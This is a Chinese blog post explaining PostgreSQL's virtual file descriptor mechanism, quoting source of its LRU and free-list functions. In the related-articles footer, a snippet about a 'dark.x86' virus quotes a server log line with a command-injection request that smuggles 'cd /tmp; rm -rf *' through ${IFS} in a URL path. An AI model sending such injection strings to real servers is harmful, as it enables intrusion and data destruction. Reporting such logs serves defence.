postgres源码解析52 磁盘管理器--1

news2024/11/26 1:40:49

简介

postgres中的磁盘管理器SMGR对外提供了管理磁盘介质的接口,其主要实现在md.c文件中。磁盘管理器并非对磁盘上的文件直接进行操作,而是通过VFD机制进行文件操作。凡是对存储在磁盘中的表进行访问操作均会与磁盘管理器打交道,由它进行统一处理。

VFD机制

和Linux系统一样,访问每个文件时都会为之分配一个文件描述符fd。但是Linux系统所提供的文件描述符数量是有限的,对于数据库这种频繁访问数据文件的软件而言,很容易超过操作系统对文件描述符数量的支持。针对这一问题,postgres借鉴计算机中的“虚拟技术”扩充文件描述符,即虚拟文件描述符机制VFD,实现对文件的管理机制。

1 实现原理

VFD机制的实现原理并不复杂,当进程在打开一个文件时,总是能够返回一个虚拟的文件描述符,本质是对物理文件操作的进一步封装.
所谓虚拟文件描述符,是指一个VFD的数据结构,其中记录了操作系统为文件分配的真实文件描述符。实际上,一个进程能打开的最大文件数目仍为系统规定的最大值,但是进程使用了VFD机制,导致其自身觉得可以打开任意多的文件。如果多个进程同时对同一个文件操作,那么每个进程均会获得一个VFD,这些VFD所对应的真实文件描述符是同一个,如下如所示。
在这里插入图片描述

2 VFD数据结构

vfd结构体为虚拟文件描述符,记录了真实文件描述符及其状态,下一个空闲VFD所在空闲链表位置和文件名等信息。

typedef struct vfd
{
	int			fd;				/* current FD, or VFD_CLOSED if none */ 
	unsigned short fdstate;		/* bitflags for VFD's state */
	ResourceOwner resowner;		/* owner, for automatic cleanup */
	File		nextFree;		/* link to next free VFD, if in freelist */
	File		lruMoreRecently;	/* doubly linked recency-of-use list */
	File		lruLessRecently;
	off_t		fileSize;		/* current size of file (0 if not temporary) */
	char	   *fileName;		/* name of file, or NULL for unused VFD */
	/* NB: fileName is malloc'd, and must be free'd when closing the VFD */
	int			fileFlags;		/* open(2) flags for (re)opening the file */
	mode_t		fileMode;		/* mode to pass to open(2) */
} Vfd;


/* these are the assigned bits in fdstate below: */
#define FD_DELETE_AT_CLOSE	(1 << 0)	/* T = delete when closed */
#define FD_CLOSE_AT_EOXACT	(1 << 1)	/* T = close at eoXact */
#define FD_TEMP_FILE_LIMIT	(1 << 2)	/* T = respect temp_file_limit */

VfdCache数组维护了进程所持有虚拟文件描述符信息。其中File类型字段为该数组的索引下标,VfdCache[0]仅做为头标识,无实质意义。

/*
 * Virtual File Descriptor array pointer and size.  This grows as
 * needed.  'File' values are indexes into this array.
 * Note that VfdCache[0] is not a usable VFD, just a list header.
 */
static Vfd *VfdCache;
static Size SizeVfdCache = 0;
3私有函数
APIdescription
Deletedelete a file from the Lru ring
LruDeleteremove a file from the Lru ring and close its FD
Insertput a file at the front of the Lru ring
LruInsertput a file at the front of the Lru ring and open it
ReleaseLruFileRelease an fd by closing the last entry in the Lru ring
ReleaseLruFilesRelease fd(s) until we’re under the max_safe_fds limit
AllocateVfdgrab a free (or new) file record (from VfdCache)
FreeVfdfree a file record
4 VFD具体实现

在这里插入图片描述
如上图,LRU中第一个充当头信息,无实质意义,lruLessRecently指针指向访问频率逐渐降低的VFD,lruMoreRecently指针指向访问频率逐渐增加的VFD。

4.1 LruDelete(File file) : 该函数的功能是从VFD 缓冲池中删除指定的VFD。
1 首先根据 file从VFDCache数组中找到其对应的VFD结构体vfdP;
2 调用系统函数close关闭物理文件,将vfdP->fd置为VFD_CLOSED;
3 递减进程私有的全局VFD计数器;
4 最后调用 Delete函数进行真正的删除操作。
Delete函数比较简单,即更新LRU双向链表的前后指针域。

	vfdP = &VfdCache[file];

	VfdCache[vfdP->lruLessRecently].lruMoreRecently = vfdP->lruMoreRecently;
	VfdCache[vfdP->lruMoreRecently].lruLessRecently = vfdP->lruLessRecently;
static void
LruDelete(File file)
{
	Vfd		   *vfdP;

	Assert(file != 0);

	DO_DB(elog(LOG, "LruDelete %d (%s)",
			   file, VfdCache[file].fileName));

	vfdP = &VfdCache[file];

	/*
	 * Close the file.  We aren't expecting this to fail; if it does, better
	 * to leak the FD than to mess up our internal state.
	 */
	if (close(vfdP->fd) != 0)
		elog(vfdP->fdstate & FD_TEMP_FILE_LIMIT ? LOG : data_sync_elevel(LOG),
			 "could not close file \"%s\": %m", vfdP->fileName);
	vfdP->fd = VFD_CLOSED;
	--nfile;

	/* delete the vfd record from the LRU ring */
	Delete(file);
}

4.2 LruInsert(File file) :该函数的功能是将指定的VFD插入LRU缓冲池头部。
1 首先找到 file对应的VFD在VfdCache中的位置;
2 如果文件未打开,先进行安全性检查,确保此时的文件描述符个数不得超过系统所支持的最大安全数目;
3 调用BasicOpenFilePerm打开文件,递增进程私有的全局VFD计数器;
4 最后调用Insert函数进行真正的插入操作;
Insert函数相比于Delete稍复杂,具体操作是将指定的VFD插入VfdCache[0]与VfdCache[0].lruLessRecently之间。

	vfdP = &VfdCache[file];

	vfdP->lruMoreRecently = 0;
	vfdP->lruLessRecently = VfdCache[0].lruLessRecently;
	VfdCache[0].lruLessRecently = file;
	VfdCache[vfdP->lruLessRecently].lruMoreRecently = file;
/* returns 0 on success, -1 on re-open failure (with errno set) */
static int
LruInsert(File file)
{
	Vfd		   *vfdP;

	Assert(file != 0);

	DO_DB(elog(LOG, "LruInsert %d (%s)",
			   file, VfdCache[file].fileName));

	vfdP = &VfdCache[file];

	if (FileIsNotOpen(file))
	{
		/* Close excess kernel FDs. */
		ReleaseLruFiles();

		/*
		 * The open could still fail for lack of file descriptors, eg due to
		 * overall system file table being full.  So, be prepared to release
		 * another FD if necessary...
		 */
		vfdP->fd = BasicOpenFilePerm(vfdP->fileName, vfdP->fileFlags,
									 vfdP->fileMode);
		if (vfdP->fd < 0)
		{
			DO_DB(elog(LOG, "re-open failed: %m"));
			return -1;
		}
		else
		{
			++nfile;
		}
	}

	/*
	 * put it at the head of the Lru ring
	 */

	Insert(file);

	return 0;
}

4.3 ReleaseLruFiles:该函数的功能是从VFD 缓冲池中删除最近最不经常使用的VFD,只有在已分配的文件描述符超过系统所能支持的最大文件描述符个数后才会触发后续的操作。

/*
 * Release one kernel FD by closing the least-recently-used VFD.
 */
static bool
ReleaseLruFile(void)
{
	DO_DB(elog(LOG, "ReleaseLruFile. Opened %d", nfile));

	if (nfile > 0)
	{
		/*
		 * There are opened files and so there should be at least one used vfd
		 * in the ring.
		 */
		Assert(VfdCache[0].lruMoreRecently != 0);
		LruDelete(VfdCache[0].lruMoreRecently);
		return true;			/* freed a file */
	}
	return false;				/* no files available to free */
}

/*
 * Release kernel FDs as needed to get under the max_safe_fds limit.
 * After calling this, it's OK to try to open another file.
 */
static void
ReleaseLruFiles(void)
{
	while (nfile + numAllocatedDescs + numExternalFDs >= max_safe_fds)
	{
		if (!ReleaseLruFile())
			break;
	}
}

4.4 AllocateVfd:该函数的功能是从空闲链表中获取下一个可用的VFD,根据具体情况会适当扩大空闲链表。也就是说总会获得一个VFD结构体,除非出现OOM。
1 如果空闲链表已满,则会以2倍方式扩大空闲链表,并初始化空闲链表中的VFD元素。
2 将VfdCache[0].nextFree设置为下一个可用的VFD在LRU缓冲池中的槽索引。
3 更新VfdCache[0].nextFree,即 VfdCache[0].nextFree = VfdCache[file].nextFree;

static File
AllocateVfd(void)
{
	Index		i;
	File		file;

	DO_DB(elog(LOG, "AllocateVfd. Size %zu", SizeVfdCache));

	Assert(SizeVfdCache > 0);	/* InitFileAccess not called? */

	if (VfdCache[0].nextFree == 0)
	{
		/*
		 * The free list is empty so it is time to increase the size of the
		 * array.  We choose to double it each time this happens. However,
		 * there's not much point in starting *real* small.
		 */
		Size		newCacheSize = SizeVfdCache * 2;
		Vfd		   *newVfdCache;

		if (newCacheSize < 32)
			newCacheSize = 32;

		/*
		 * Be careful not to clobber VfdCache ptr if realloc fails.
		 */
		newVfdCache = (Vfd *) realloc(VfdCache, sizeof(Vfd) * newCacheSize);
		if (newVfdCache == NULL)
			ereport(ERROR,
					(errcode(ERRCODE_OUT_OF_MEMORY),
					 errmsg("out of memory")));
		VfdCache = newVfdCache;

		/*
		 * Initialize the new entries and link them into the free list.
		 */
		for (i = SizeVfdCache; i < newCacheSize; i++)
		{
			MemSet((char *) &(VfdCache[i]), 0, sizeof(Vfd));
			VfdCache[i].nextFree = i + 1;
			VfdCache[i].fd = VFD_CLOSED;
		}
		VfdCache[newCacheSize - 1].nextFree = 0;
		VfdCache[0].nextFree = SizeVfdCache;

		/*
		 * Record the new size
		 */
		SizeVfdCache = newCacheSize;
	}

	file = VfdCache[0].nextFree;

	VfdCache[0].nextFree = VfdCache[file].nextFree;

	return file;
}

4.5 FreeVfd(File file):该函数的功能释放指定 file 对应的VFD,并将其置于空闲链表头部。

static void
FreeVfd(File file)
{
	Vfd		   *vfdP = &VfdCache[file];

	DO_DB(elog(LOG, "FreeVfd: %d (%s)",
			   file, vfdP->fileName ? vfdP->fileName : ""));

	if (vfdP->fileName != NULL)
	{
		free(vfdP->fileName);
		vfdP->fileName = NULL;
	}
	vfdP->fdstate = 0x0;

	vfdP->nextFree = VfdCache[0].nextFree;
	VfdCache[0].nextFree = file;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/401190.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

145页企业数字化转型大数据湖项目建设和运营综合解决方案WORD

本资料来源公开网络&#xff0c;仅供个人学习&#xff0c;请勿商用。部分资料内容&#xff1a; 2 需求分析 2.1功能需求 数据湖的应用、管控、展示为一体&#xff0c;提供标准的服务和数据接口和报表展现方式。数据湖数据采用高效&#xff0c;可靠的存储架构。企业业务数据制订…

【0基础学爬虫】爬虫基础之网页基本结构

大数据时代&#xff0c;各行各业对数据采集的需求日益增多&#xff0c;网络爬虫的运用也更为广泛&#xff0c;越来越多的人开始学习网络爬虫这项技术&#xff0c;K哥爬虫此前已经推出不少爬虫进阶、逆向相关文章&#xff0c;为实现从易到难全方位覆盖&#xff0c;特设【0基础学…

不用vdom的lit框架学习1:安装和编译

上一篇文章讲了我们不得不在部分页面将vuepress换用其他框架的原因&#xff0c;这里我们用了一个新的&#xff0c;号称轻量级的lit框架。 主要原因&#xff1a; 1&#xff09;我们只是部分页面使用&#xff0c;不要要太重的 2&#xff09;vite默认创建有这个选项…… 我们依…

centos 7下JDK8安装

下载安装包https://www.oracle.com/java/technologies/downloads/#java8-linux上传路径 /usr/local&#xff08;替换为自己需要安装的路径&#xff09;解压tar -zxvf jdk-8u131-linux-x64.tar.gz配置环境变量[rootlocalhost java]# vi /etc/profile添加如下配置在配置文件最后&…

C++实现红黑树(RBTree) + 模拟实现map set

目录 一、红黑树(RBTree) 1.1 红黑树概念与性质 1.2 红黑树节点的定义 1.3 红黑树模拟实现 1.3.1 红黑树成员框架 1.3.2 红黑树调整情形 1.3.3 insert() 插入结点 1.3.4 IsBalanceTree() 判断是否为平衡搜索树 二、关联式容器与键值对 2.1 关联式容器概念 2.2 键值对…

python趣味编程-盒子追逐者游戏

在上一期我们用Python实现了一个奥赛罗游戏的游戏&#xff0c;这一期我们继续使用Python实现一个简单的盒子追逐追逐者游戏&#xff0c;让我们开始今天的旅程吧~ 在Python自由源代码中使用Turtle的盒子追逐者游戏 在Python中使用Turtle的盒子追逐者游戏 是一个以 python 程序设…

数据库索引原理

数据库索引的作用是做数据的快速检索&#xff0c;而快速检索实现的本质是数据结构。像二叉树、红黑树、AVL树、B树、B树、哈希等数据结构都可以实现索引&#xff0c;但其中B树效率最高。MySQL数据库索引使用的是B树。二叉树&#xff1a;二叉树中&#xff0c;左子树比根节点小&a…

C++回顾(十六)—— 异常处理机制

16.1 异常的基本语法 1&#xff09; 若有异常则通过throw操作创建一个异常对象并抛掷。2&#xff09; 将可能抛出异常的程序段嵌在try块之中。控制通过正常的顺序执行到达try语句&#xff0c;然后执行try块内的保护段。3&#xff09; 如果在保护段执行期间没有引起异常&#xf…

dark.x86病毒新变种

病毒行为类似https://www.cnblogs.com/wangbingbing/p/15319257.html依然是来自俄罗斯莫斯科的病毒。旧病毒换了个伪装程序查服务器nginx日志发现一个异常请求170.254.229.130 - - [09/Mar/2023:07:19:08 0800] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;rm${IFS}-rf${IFS}*;$…

4个顶级的华为/小米/OPPO/Vivo手机屏幕解锁工具软件

有好几次用户发现自己被锁定在他们的华为/小米/OPPO/Vivo设备之外&#xff0c;我们知道这可能是一种非常可怕的体验。在这种情况下&#xff0c;找到安卓手机解锁软件&#xff0c;重新获得手机中重要数据和文件的访问权限。看看这篇文章&#xff0c;因为我们将与您分享什么是解锁…

DML 添加、修改、删除数据

目录 DML 一、添加数据 1、给指定字段添加数据 2、给全部字段添加数据 3、批量添加数据 二、修改数据 三、删除数据 DML DML英文全称是Data Manipulation Language(数据操作语言)&#xff0c;用来对数据库中表的数据记录进行增、删、改操作。 一、添加数据 1、给指定字…

中国人民大学与加拿大女王大学金融硕士——沉淀自己是最好的升华

三毛曾说过&#xff1a;“给自己时间&#xff0c;不要焦虑&#xff0c;一步一步来&#xff0c;一日一日过&#xff0c;请相信生命的韧性是惊人的&#xff0c;跟自己的心去合作&#xff0c;不要放弃对自己的爱护”。当你的能力还驾驭不了你的目标时&#xff0c;你就应该沉下心来…

如何配置用于构建 FastReport Online Designer 的 API ?

FastReport Online Designer 是一个跨平台的报表设计器&#xff0c;允许通过任何平台的移动设备创建和编辑报表。今天我们就一起来看看在2023版中新增和改进的功能有哪些&#xff0c;点击下方可以获取最新版免费试用哦&#xff01; FastReport Onlin Designe最新版试用https:/…

市场营销的核心是什么?

之所以写下「市场营销的核心是什么&#xff1f;」这篇文章&#xff0c;是因为这几天刚读完了《经理人参阅&#xff1a;市场营销》这本书。作为一个有着近十年工作经验的市场营销从业人员&#xff0c;看完这本书也产生了很多新的想法&#xff0c;也想记录一下&#xff0c;遂成此…

Idea+maven+spring-cloud项目搭建系列--11-2 dubbo鉴权日志记录数据统一封装

前言&#xff1a;使用dubbo做为通信组件&#xff0c;如果接口需要鉴权&#xff0c;和日志记录需要怎样处理&#xff1b; 1 鉴权&#xff1a; 1.1 在bootstrap.yml 中定义过滤器&#xff1a; dubbo.provider.filter: 过滤器的名字&#xff1a; 1.2 resources 目录下创建配置文…

随笔:车辆游戏功能开发-思路

目录1 博客内容2 PS4pro3 功能开发1 博客内容 年初朋友聊天谈到车辆增加G&#xff08;Game&#xff09;挡位&#xff0c;适配泛娱乐化功能。均非该领域人员&#xff0c;上月他也离开去无锡&#xff0c;同时该功能涉及悬架、座椅、HUT、音响、转向、线控底盘等多专业人员&#x…

深信服校园招聘安全攻防F卷

1.请尽可能列举你知道的网站未能正确使用图片验证码机制的情况&#xff0c;以及如何绕过其限制&#xff1f; - 图形验证码的内容可OCR识别 - 多阶段的过程&#xff0c;先校验验证码&#xff0c;成功之后的下一步不需要验证码&#xff0c;可以直接抓包&#xff0c;跳过第一步的验…

小诺开源技术

小诺开源技术 文章目录小诺开源技术前言页面演示介绍文档学习建议登录地址下载地址前言 近期接触了小诺开源技术的一个前端框架&#xff0c;底层是蚂蚁框架&#xff0c;感觉很好用&#xff0c;不过需要稍微学习并适应一下&#xff0c;推荐给大家&#xff0c;本篇仅用于学习&am…

人员摔倒识别预警算法 opencv

人员摔倒识别预警算法通过opencv网络模型技术&#xff0c;人员摔倒识别预警算法能够智能检测现场画面中人员有没有摔倒&#xff0c;无需人为干预可以立刻抓拍告警。OpenCV的全称是Open Source Computer Vision Library&#xff0c;是一个跨平台的计算机视觉处理开源软件库&…

C#:Krypton控件使用方法详解(第十四讲) ——kryptonSeparator

今天介绍的Krypton控件中的kryptonSeparator。下面介绍控件的外观属性如下图所示&#xff1a;Cursor属性&#xff1a;表示鼠标移动过该控件的时候&#xff0c;鼠标显示的形状。属性值如下图所示&#xff1a;DrawMoveIndicator属性&#xff1a;表示确定移动分隔符时是否绘制移动…